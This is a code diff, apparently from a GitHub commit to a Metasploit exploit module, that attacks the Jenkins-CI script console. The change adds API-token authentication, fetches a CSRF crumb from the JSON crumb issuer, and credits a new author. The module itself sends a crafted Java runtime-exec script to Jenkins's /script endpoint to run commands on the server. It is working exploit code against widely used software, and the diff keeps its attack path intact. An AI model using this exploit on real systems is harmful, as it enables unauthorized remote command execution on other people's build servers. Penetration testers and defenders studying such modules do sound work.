@@ -19,7 +19,8 @@ def initialize(info = {})
19
19
'Author' =>
20
20
[
21
21
'Spencer McIntyre' ,
22
- 'jamcut'
22
+ 'jamcut' ,
23
+ 'thesubtlety'
23
24
] ,
24
25
'License' => MSF_LICENSE ,
25
26
'DefaultOptions' =>
@@ -50,6 +51,7 @@ def initialize(info = {})
50
51
[
51
52
OptString . new ( 'USERNAME' , [ false , 'The username to authenticate as' , '' ] ) ,
52
53
OptString . new ( 'PASSWORD' , [ false , 'The password for the specified username' , '' ] ) ,
54
+ OptString . new ( 'API_TOKEN' , [ false , 'The API token for the specified username' , '' ] ) ,
53
55
OptString . new ( 'TARGETURI' , [ true , 'The path to the Jenkins-CI application' , '/jenkins/' ] )
54
56
] )
55
57
end
@@ -77,6 +79,7 @@ def http_send_command(cmd, opts = {})
77
79
request_parameters = {
78
80
'method' => 'POST' ,
79
81
'uri' => normalize_uri ( @uri . path , 'script' ) ,
82
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'API_TOKEN' ] ) ,
80
83
'vars_post' =>
81
84
{
82
85
'script' => java_craft_runtime_exec ( cmd ) ,
@@ -151,26 +154,35 @@ def exploit
151
154
@cookie = nil
152
155
@crumb = nil
153
156
if res . code != 200
154
- print_status ( 'Logging in...' )
155
- res = send_request_cgi ( {
156
- 'method' => 'POST' ,
157
- 'uri' => normalize_uri ( @uri . path , "j_acegi_security_check" ) ,
158
- 'vars_post' =>
159
- {
160
- 'j_username' => datastore [ 'USERNAME' ] ,
161
- 'j_password' => datastore [ 'PASSWORD' ] ,
162
- 'Submit' => 'log in'
163
- }
164
- } )
165
-
166
- if not ( res and res . code == 302 ) or res . headers [ 'Location' ] =~ /loginError/
167
- fail_with ( Failure ::NoAccess , 'Login failed' )
168
- end
169
- sessionid = 'JSESSIONID' << res . get_cookies . split ( 'JSESSIONID' ) [ 1 ] . split ( '; ' ) [ 0 ]
170
- @cookie = "#{ sessionid } "
171
-
172
- res = send_request_cgi ( { 'uri' => "#{ @uri . path } script" , 'cookie' => @cookie } )
173
- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from server' ) unless res and res . code == 200
157
+ if datastore [ 'API_TOKEN' ]
158
+ print_status ( 'Authenticating and requesting crumb...' )
159
+ res = send_request_cgi ( {
160
+ 'method' => 'GET' ,
161
+ 'uri' => normalize_uri ( @uri . path , "crumbIssuer/api/json" ) ,
162
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'API_TOKEN' ] )
163
+ } )
164
+ else
165
+ print_status ( 'Logging in...' )
166
+ res = send_request_cgi ( {
167
+ 'method' => 'POST' ,
168
+ 'uri' => normalize_uri ( @uri . path , "j_acegi_security_check" ) ,
169
+ 'vars_post' =>
170
+ {
171
+ 'j_username' => datastore [ 'USERNAME' ] ,
172
+ 'j_password' => datastore [ 'PASSWORD' ] ,
173
+ 'Submit' => 'log in'
174
+ }
175
+ } )
176
+
177
+ if not ( res and res . code == 302 ) or res . headers [ 'Location' ] =~ /loginError/
178
+ fail_with ( Failure ::NoAccess , 'Login failed' )
179
+ end
180
+ sessionid = 'JSESSIONID' << res . get_cookies . split ( 'JSESSIONID' ) [ 1 ] . split ( '; ' ) [ 0 ]
181
+ @cookie = "#{ sessionid } "
182
+
183
+ res = send_request_cgi ( { 'uri' => "#{ @uri . path } script" , 'cookie' => @cookie } )
184
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from server' ) unless res and res . code == 200
185
+ end
174
186
else
175
187
print_status ( 'No authentication required, skipping login...' )
176
188
end
@@ -181,6 +193,9 @@ def exploit
181
193
elsif res . body =~ /crumb\. init\( "Jenkins-Crumb", "([a-z0-9]*)"\) /
182
194
print_status ( "Using CSRF token: '#{ $1} ' (Jenkins-Crumb style)" )
183
195
@crumb = { :name => 'Jenkins-Crumb' , :value => $1}
196
+ elsif res . body =~ /"crumb":"([a-z0-9]*)"/
197
+ print_status ( "Using CSRF token: '#{ $1} ' (Jenkins-Crumb style)" )
198
+ @crumb = { :name => 'Jenkins-Crumb' , :value => $1}
184
199
end
185
200
186
201
case target [ 'Platform' ]
0 commit comments